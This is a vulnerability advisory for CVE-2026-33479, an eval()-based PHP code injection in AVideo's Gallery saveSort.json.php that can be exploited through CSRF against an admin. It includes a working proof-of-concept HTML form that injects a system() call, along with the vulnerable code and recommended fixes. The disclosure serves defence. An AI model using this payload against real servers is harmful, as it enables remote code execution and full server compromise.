CVE-2026-33479 — AVideo has PHP Code Injection via eval() in...
HIGH
AVideo has PHP Code Injection via eval() in Gallery saveSort.json.php Exploitable Through CSRF Against Admin
Published March 20, 2026Updated March 25, 2026Source: osv
Summary
## Summary
The Gallery plugin's `saveSort.json.php` endpoint passes unsanitized user input from `$_REQUEST['sections']` array values directly into PHP's `eval()` function. While the endpoint is gated behind `User::isAdmin()`, it has no CSRF token validation. Combined with AVideo's explicit `SameSite=None` session cookie configuration, an attacker can exploit this via cross-site request forgery to achieve unauthenticated remote code execution — requiring only that an admin visits an attacker-controlled page.
## Details
**Vulnerable code** — `plugin/Gallery/view/saveSort.json.php:20-25`:
```php
if(!empty($_REQUEST['sections'])){
$object = $gallery->getDataObject();
foreach ($_REQUEST['sections'] as $key => $value) {
$obj->sectionsSaved[] = array($key=>$value);
eval("\$object->{$value}Order = \$key;");
}
$obj->error = !$gallery->setDataObject($object);
}
```
The `$value` variable from `$_REQUEST['sections']` is interpolated directly into the string passed to `eval()` with no sanitization — no allowlist, no regex validation, no escaping. Normal Gallery usage sends section names like `'Shorts'`, `'Trending'`, etc. from jQuery UI sortable, but the server enforces no such constraint.
**CSRF enablement** — `objects/include_config.php:134-137`:
```php
if ($isHTTPS) {
ini_set('session.cookie_samesite', 'None');
ini_set('session.cookie_secure', '1');
}
```
The session cookie is explicitly set to `SameSite=None`, which instructs browsers to send the cookie on cross-site requests. This is also reinforced in `objects/functionsPHP.php:330-333` where additional cookies are set with `SameSite=None; Secure`.
**No CSRF protection** — The endpoint performs no CSRF token validation, no Origin header check, no Referer header check, and no `X-Requested-With` header check. There is no global CSRF middleware in AVideo's bootstrap chain.
**Exploit chain:**
1. Attacker crafts a page with an auto-submitting form targeting `saveSort.json.php`
2. Admin visits the attacker's page (e.g., via a link in a comment, email, or message)
3. The browser sends the cross-site POST request **with the admin's session cookie** attached (due to `SameSite=None`)
4. `User::isAdmin()` passes because the admin's session is present
5. The injected PHP code in the `sections` array value is passed to `eval()` and executes
## PoC
**Step 1:** Host the following HTML on an attacker-controlled server:
```html
<!DOCTYPE html>
<html>
<body>
<form id="exploit" action="https://TARGET/plugin/Gallery/view/saveSort.json.php" method="POST">
<input type="hidden" name="sections[0]" value="x=1;system(base64_decode('aWQ7aG9zdG5hbWU='));//">
</form>
<script>document.getElementById('exploit').submit();</script>
</body>
</html>
```
The base64 decodes to `id;hostname`.
**Step 2:** Lure an authenticated AVideo admin to visit the page.
**Step 3:** The eval on line 24 executes:
```php
$object->x=1;system(base64_decode('aWQ7aG9zdG5hbWU='));//Order = 0;
```
This breaks out of the property assignment, calls `system()` with attacker-controlled arguments, and comments out the rest of the line. The response JSON will contain the command output, but even without seeing the response, the command executes server-side.
**Expected result:** The `id` and `hostname` commands execute on the server under the web server's user context.
## Impact
- **Remote Code Execution** — An attacker achieves arbitrary PHP code execution on the server by luring an admin to visit a malicious page. No prior authentication or account on the target is required.
- **Full server compromise** — The attacker can read/write files, access the database, pivot to other services, install backdoors, or exfiltrate data.
- **Stealth** — The attack is a single form submission that completes in milliseconds. The admin may not notice anything unusual.
- **Blast radius** — Any AVideo instance running over HTTPS (which triggers `SameSite=None`) where an admin can be lured to click a link is vulnerable.
## Recommended Fix
**Primary fix — Replace `eval()` with an allowlist check:**
In `plugin/Gallery/view/saveSort.json.php`, replace lines 20-26:
```php
if(!empty($_REQUEST['sections'])){
$object = $gallery->getDataObject();
$allowedSections = ['Shorts', 'Trending', 'SiteSuggestion', 'Newest',
'Subscribe', 'Popular', 'LiveStream', 'Category',
'Program', 'Channel'];
foreach ($_REQUEST['sections'] as $key => $value) {
if (!in_array($value, $allowedSections, true)) {
continue;
}
$obj->sectionsSaved[] = array($key => $value);
$property = $value . 'Order';
$object->$property = intval($key);
}
$obj->error = !$gallery->setDataObject($object);
}
```
This eliminates `eval()` entirely, validates `$value` against a known allowlist of section names, and uses dynamic property access (`$object->$property`) instead of code generation.
**Secondary fix — Add CSRF protection** to all state-changing endpoints, or at minimum set `SameSite=Lax` on session cookies instead of `SameSite=None` in `objects/include_config.php:135`:
```php
ini_set('session.cookie_samesite', 'Lax');
```
This prevents session cookies from being sent on cross-site form submissions, blocking the CSRF vector for all endpoints.
Advisory Timeline
First published March 20, 2026 (206 days ago).
Last revised March 25, 2026 — 5 days after initial publication.
AVideo has PHP Code Injection via eval() in Gallery saveSort.json.php Exploitable Through CSRF Against Admin This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
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Severity & Exploitability
CVSS Score
8.8
High exploitability or significant impact. Prioritize remediation within days.